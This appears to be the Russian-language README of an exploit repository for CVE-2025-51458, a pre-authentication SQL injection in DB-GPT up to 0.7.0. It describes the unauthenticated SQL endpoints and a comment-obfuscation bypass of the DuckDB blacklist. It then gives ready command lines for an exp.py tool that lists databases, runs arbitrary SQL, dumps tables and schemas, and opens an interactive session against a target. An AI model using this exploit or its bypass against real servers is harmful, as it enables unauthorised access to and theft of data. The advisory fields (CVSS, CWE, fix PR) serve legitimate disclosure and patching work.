CVE-2025-51458-exp

SQL-инъекция до аутентификации в DB-GPT <= 0.7.0

Обзор

Эндпоинты /api/v1/editor/sql/run и /api/v1/editor/chart/run принимают произвольный SQL без аутентификации. Чёрный список sanitize_sql покрывает только DuckDB; подключения MySQL, PostgreSQL и SQLite получают необработанный пользовательский ввод без фильтрации. Сам чёрный список DuckDB можно обойти с помощью обфускации комментариями (SEL/**/ECT).

Это обход CVE-2024-10835 и CVE-2024-10901.

• CVSS: 6.5 (средний)
• Тип: CWE-89 (SQL-инъекция)
• Аутентификация: не требуется (до аутентификации)
• Затронуты: DB-GPT <= 0.7.0
• Исправлено: PR #2650

Использование

# List databases
python3 exp.py http://target:5670 --list-dbs

# Execute SQL
python3 exp.py http://target:5670 <db_name> --sql "SELECT VERSION()"

# Dump tables
python3 exp.py http://target:5670 <db_name> --dump-tables

# Dump schema
python3 exp.py http://target:5670 <db_name> --dump-db

# DuckDB bypass
python3 exp.py http://target:5670 <db_name> --duckdb-bypass --sql "SELECT CURRENT_SETTING('access_mode')"

# Interactive mode
python3 exp.py http://target:5670 <db_name>